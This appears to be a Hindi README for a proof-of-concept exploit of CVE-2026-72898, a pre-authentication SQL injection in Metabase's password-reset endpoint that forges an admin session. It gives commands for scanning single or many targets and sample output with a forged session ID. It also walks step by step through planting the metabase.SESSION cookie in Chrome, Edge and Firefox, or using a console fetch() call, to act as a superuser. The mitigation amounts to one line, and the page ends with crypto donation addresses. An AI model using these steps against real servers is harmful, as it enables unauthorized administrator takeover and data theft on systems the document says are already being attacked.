
CVE-2026-72898 PoC : Metabase बिना प्रमाणीकरण के SQL इंजेक्शन
Metabase प्रमाणीकरण-पूर्व SQL इंजेक्शन जो एडमिन अधिग्रहण की ओर ले जाता है
CVE-2026-72898 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो Metabase के पासवर्ड-रीसेट एंडपॉइंट में एक गंभीर बिना-प्रमाणीकरण SQL इंजेक्शन है। PoC core_session तालिका में एक जाली एडमिन सत्र पंक्ति इंजेक्ट करता है, फिर इसका उपयोग बिना किसी क्रेडेंशियल के पूर्ण एडमिनिस्ट्रेटर सत्र को मान्य करने के लिए करता है।
नोट: यह PoC केवल अधिकृत सुरक्षा परीक्षण और शोध के लिए है। CVE-2026-72898, CISA Known Exploited Vulnerabilities (KEV) कैटलॉग में सूचीबद्ध है और इसका सक्रिय रूप से वास्तविक दुनिया में शोषण हो रहा है। किसी भी सिस्टम का परीक्षण करने से पहले सभी लागू कानूनों का पालन करना और लिखित प्राधिकरण प्राप्त करना आपकी ज़िम्मेदारी है।
requests लाइब्रेरी के साथनिर्भरताएँ इंस्टॉल करें:
pip install requests
python cve-2026-72898_poc.py -t http://192.168.1.1:3000
python cve-2026-72898_poc.py -T targets.txt
| आर्गुमेंट | विवरण | डिफ़ॉल्ट |
|---|---|---|
-t, --target | एकल लक्ष्य URL | - |
-T, --targets | लक्ष्य URL वाली फ़ाइल, प्रति पंक्ति एक | - |
-o, --output | परिणाम फ़ाइल (टैब-सेपरेटेड: target, result, status, session_id, admin_email) | - |
--timeout | अनुरोध टाइमआउट (सेकंड में) | 15 |
CVE-2026-72898 | Metabase SQLi PoC
----------------------------------------
Target: http://192.168.1.1:3000
[1] GET http://192.168.1.1:3000/ -> 200
[2] POST /api/session/reset_password -> 400
(expected: Invalid reset token, SQLi executed)
[3] GET /api/user/current -> 200
[+] VULNERABLE
session id : 242x6a6cx-5388-aaf8-bl5c-afi46ic02198
key_hashed : 0f6005cbexf08948c08dd9272b439xfecwabxb4ntedd83bagb6337bx849b6xyi6
admin email: [email protected]
चरण 2 पर Invalid reset token के साथ 400 आना अपेक्षित है — इसका मतलब है कि SQLi पेलोड निष्पादित हो गया और प्रतिक्रिया शॉर्ट-सर्किट कर दी गई। चरण 3 में /api/user/current पर 200 लौटना पुष्टि करता है कि जाली सत्र मान्य है।
परिणाम स्थितियाँ: vulnerable | not_vulnerable | patched | root_not_200 | unknown | error
Metabase अपना सत्र `metabase.SESSION` कुकी से पढ़ता है, इसलिए आप उस कुकी को जोड़कर जाली एडमिन के रूप में वेब UI में लॉग इन कर सकते हैं:
**Google Chrome / Edge / Chromium**
1. PoC चलाएँ और प्रिंट किए गए `session id` को कॉपी करें
2. `http://TARGET/` खोलें और `F12` (DevTools) दबाएँ
3. **Application** पर जाएँ (Edge में: **Application**; Chrome में: **Application**) → **Storage** → **Cookies** → लक्ष्य होस्ट चुनें
4. **+** (कुकी जोड़ें) बटन पर क्लिक करें और यह भरें:
- **नाम**: `metabase.SESSION`
- **मान**: `<SESSION_ID>` (PoC द्वारा प्रिंट किया गया मान)
- **डोमेन**: लक्ष्य होस्ट/IP (जैसे `192.168.1.1` या `.example.com`)
- **पथ**: `/`
- समाप्ति तिथि भविष्य में बहुत दूर सेट करें (या "Session" पर क्लिक करें)
5. **Save** पर क्लिक करें, फिर पेज रिफ़्रेश करें
6. अब आप सुपरयूज़र के रूप में प्रमाणित हैं — एडमिन गियर आइकन दिखाई देगा
**Firefox**
1. PoC चलाएँ और प्रिंट किए गए `session id` को कॉपी करें
2. `F12` दबाएँ → **Storage** टैब → **Cookies** → लक्ष्य होस्ट चुनें
3. राइट-क्लिक करें → **Add/Edit Cookie** और यह जोड़ें:
- **नाम**: `metabase.SESSION`
- **मान**: `<SESSION_ID>`
- **पथ**: `/`
- **HttpOnly**: अनचेक रखें (JS इसे सेट करता है)
- **Secure**: सादे HTTP के लिए अनचेक रखें
4. सेव करें और पेज रिफ़्रेश करें
**वैकल्पिक: कुकी एडिटर एक्सटेंशन**
लक्ष्य डोमेन पर जाली मान के साथ `metabase.SESSION` कुकी जोड़ने के लिए किसी भी कुकी-एडिटिंग एक्सटेंशन (जैसे Cookie-Editor) का उपयोग करें, फिर रिफ़्रेश करें।
**ब्राउज़र कंसोल से**
```js
fetch('/api/user/current', { headers: { 'X-Metabase-Session': '<SESSION_ID>' } })
.then(r => r.json()).then(console.log)
/api/session/reset_password को ब्लॉक करेंयदि इस प्रोजेक्ट ने आपकी मदद की है, तो कृपया इसके विकास में सहयोग करने पर विचार करें:
TDCPYioWbZW4iyMCuHhJeFsUZJ88YqZWc1

0xf6eA555f95ed5b356fF7a90E6461EbBF6ce105cE
